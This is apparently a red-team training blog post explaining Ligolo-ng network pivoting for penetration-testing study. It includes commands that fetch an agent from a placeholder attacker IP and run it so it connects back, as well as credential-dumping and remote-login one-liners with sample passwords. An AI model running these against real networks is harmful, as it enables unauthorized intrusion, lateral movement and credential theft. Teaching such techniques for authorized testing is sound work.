top of page

Ligolo-ng: Pivoting That Feels Like You're Already Inside



Series: The Community's Red Team

Post: 16 of 17

Tags: ligolo-ng, pivoting, tunneling, network interface, proxychains, tools

Read time: ~10 min

Prerequisites: Post 15 — Chisel


Post 15 covered Chisel — excellent for simple tunneling when you need a SOCKS proxy. Ligolo-ng solves the same problem differently, and the difference matters: instead of routing your traffic through proxychains, Ligolo-ng creates an actual virtual network interface on your attack machine.

The result is that internal network hosts become directly reachable — not through proxychains, not through any wrapper. You add a route to the interface, and then nmap 172.16.5.10, ping 172.16.5.10, xfreerdp /v:172.16.5.10 all just work. Native. SYN scans work. UDP works. Every tool works exactly as if you were physically on the internal network.

This is why it's the preferred tool for CPTS and complex multi-hop engagements.


How It Works

Ligolo-ng has two components:

proxy — runs on your attack machine. Creates the TUN network interface. Listens for agent connections.

agent — runs on the pivot host. Connects back to the proxy and forwards traffic.

The architecture is the inverse of what you might expect: the agent initiates the connection to the proxy. This means the pivot host reaches out, which works even when your attack machine is behind NAT or a firewall.


Setup on Attack Machine

Download and extract both binaries:

wget -q https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
wget -q https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz
tar -xvzf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz
tar -xvzf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz

Start the proxy:

sudo ./proxy -selfcert

-selfcert generates a self-signed certificate for the TLS tunnel. The proxy listens on port 11601 by default. Keep this terminal open — it's your Ligolo-ng control console.


Getting the Agent Onto the Pivot Host

Serve the agent from your attack machine:

# In a separate terminal
python3 -m http.server 8000

On the pivot host:

# Linux pivot
wget http://<your_attack_ip>:8000/agent
chmod +x agent
./agent -connect <your_attack_ip>:11601 --ignore-cert

# Windows pivot (PowerShell)
iwr http://<your_attack_ip>:8000/agent.exe -OutFile agent.exe
.\agent.exe -connect <your_attack_ip>:11601 --ignore-cert

--ignore-cert accepts the self-signed certificate. Once the agent connects, your proxy console shows the new session.


Creating the Tunnel

Back in your proxy console:

ligolo-ng »

Select the session:

ligolo-ng » session
? Specify a session: 1 - #1 - user@pivot-host - 10.129.x.x:xxxxx

Once the session is selected, use autoroute to set up the tunnel automatically:

[Agent: user@pivot-host] » autoroute

Autoroute discovers the network interfaces on the pivot host and presents them. Select the internal subnet you want to reach.

Ligolo-ng then:

  1. Creates a ligolo TUN interface on your attack machine

  2. Adds a route for the internal subnet through that interface

  3. Starts forwarding traffic

Verify it worked:

ip route show
# Should show: 172.16.5.0/24 dev ligolo

Now test direct connectivity:

ping 172.16.5.10       # ICMP works — unlike SOCKS proxy
nmap -sV 172.16.5.10   # SYN scans work — unlike proxychains

Manual Route Setup (If Autoroute Isn't Available)

On older Ligolo-ng versions, create the interface and route manually:

# Create TUN interface
sudo ip tuntap add user <your_username> mode tun ligolo
sudo ip link set ligolo up

# After selecting the session and starting tunnel in console:
# [Agent] » start

# Add route to internal network
sudo ip route add 172.16.5.0/24 dev ligolo

Double Pivoting: Reaching a Third Network

If your first pivot can reach a second internal network, and that second network has a machine you need to reach, you can chain tunnels.

Step 1: Get a foothold on the second-hop machine through the first tunnel.

Step 2: Transfer the agent binary to the second-hop machine through the existing Ligolo tunnel.

Step 3: Execute the agent on the second-hop machine. It connects back to your proxy through the existing tunnel.

Step 4: In the proxy console, a new session appears. Select it, run autoroute, add the route for the third network.

sudo ip route add 172.16.6.0/24 dev ligolo

Each additional hop adds a new session in the console. You manage all of them from the same proxy instance.


Ligolo-ng vs Chisel vs SSH: When to Use What

Situation

Tool

Full internal network access needed

Ligolo-ng

Double pivoting / complex hops

Ligolo-ng

Only HTTP outbound from pivot

Chisel or Ligolo-ng (both work over HTTP)

No binary transfer possible, SSH access only

SSH dynamic port forward (-D 9050)

Single port forward needed

Chisel or SSH local port forward (-L)

Metasploit session active

Metasploit autoroute + SOCKS

For CPTS specifically: Ligolo-ng is listed as the preferred tool in the methodology. Learn it well.


Keeping the Proxy Running

If you need to run other commands on your attack machine while Ligolo-ng is active, background the proxy console:

# The proxy terminal needs to stay open
# Use tmux or screen to run the proxy in a persistent session
tmux new-session -d -s ligolo './proxy -selfcert'
tmux attach -t ligolo

Or run in the background:

sudo ./proxy -selfcert &

Finding Internal Hosts After Tunnel Setup

Once the tunnel is up, discover what's on the internal network:

# Ping sweep (ICMP works through Ligolo-ng)
for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done

# fping for speed
fping -a -g 172.16.5.0/24 2>/dev/null

# Nmap full subnet (SYN scan works — no proxychains needed)
nmap -sn 172.16.5.0/24         # host discovery
nmap -sV -p- 172.16.5.19       # full scan on discovered host

Quick Reference

# Setup — attack machine
sudo ./proxy -selfcert     # start proxy, listen on :11601

# Setup — pivot host (Linux)
wget http://<attack_ip>:8000/agent && chmod +x agent
./agent -connect <attack_ip>:11601 --ignore-cert

# Setup — pivot host (Windows PowerShell)
iwr http://<attack_ip>:8000/agent.exe -OutFile agent.exe
.\agent.exe -connect <attack_ip>:11601 --ignore-cert

# In proxy console
session           # select the session
autoroute         # auto-detect and add routes (preferred)

# Manual route add
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 172.16.5.0/24 dev ligolo

# Verify
ip route show | grep ligolo
ping 172.16.5.1           # test connectivity

# Host discovery through tunnel
nmap -sn 172.16.5.0/24
for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done

# No proxychains needed — direct tool access
nmap -sV 172.16.5.19
xfreerdp /v:172.16.5.19 /u:administrator /p:Password1
impacket-secretsdump domain/admin:pass@172.16.5.5
evil-winrm -i 172.16.5.20 -u administrator -p Password1

What's Next

Post 17 (Bloodhound) is the final post in the series — and the one that ties the Active Directory thread together. Everything you've built toward — credentials, lateral movement, Impacket, pivoting — feeds into Bloodhound's graph. Once you can see the full map of an AD environment's relationships and attack paths, the path from your current position to Domain Admin becomes a query result, not a guessing game.

MeshForge — Training the Community's Red Team

They count on your ignorance. The exploit only works on the uninformed.

 
 
 

Comments


bottom of page